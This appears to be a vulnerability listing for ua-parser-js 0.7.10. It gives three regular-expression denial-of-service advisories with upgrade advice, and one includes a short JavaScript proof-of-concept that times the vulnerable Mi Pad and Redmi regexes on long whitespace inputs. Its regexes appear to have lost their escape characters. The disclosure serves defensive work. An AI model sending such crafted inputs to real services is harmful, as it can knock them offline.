ua-parser-js@0.7.10 vulnerabilities

ua-parser-js is a lightweight JavaScript-based user-agent string parser.

Affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS) in multiple regexes (see linked commit for more info).

Upgrade ua-parser-js to version 0.7.23 or higher.

ua-parser-js is a lightweight JavaScript-based user-agent string parser.

Affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS) via the regex for Redmi Phones and Mi Pad Tablets UA.

POC by Yeting Li

var blank = " ";
for (let i = 1; i < 5000; i++) {
blank = blank + " ";
}

str_mi = "android1mipad" + blank + "!";
str_mi = str_mi + +blank + "!";
mi = /android.+(mi[s-_]*(?:pad)(?:[s_]*[ws]+))s+build/i;

var count_mi = 0;
for (let i = 0; i < 10; i++) {
var time = Date.now();
mi.test(str_mi);
var len = Date.now() - time;
count_mi = count_mi + len;
console.log("mi:" + blank.length + ": " + len)
}
console.log(count_mi / 10);

str_redmi = "android1redminote" + blank + "!";
redmi = /android.+(redmi[s-_]*(?:note)?(?:[s_]*[ws]+))s+build/i;
var count_redmi = 0;
for (let i = 0; i < 10; i++) {
var time = Date.now();
redmi.test(str_redmi);
var len = Date.now() - time;
count_redmi = count_redmi + len;
console.log("redmi:" + blank.length + ": " + len)
}
console.log(count_redmi / 10);

Upgrade ua-parser-js to version 0.7.22 or higher.

ua-parser-js is Lightweight JavaScript-based user-agent string parser.

Affected versions of the package are vulnerable to Regular Expression Denial of Service (ReDoS).

Upgrade ua-parser-js to version 0.7.18 or higher.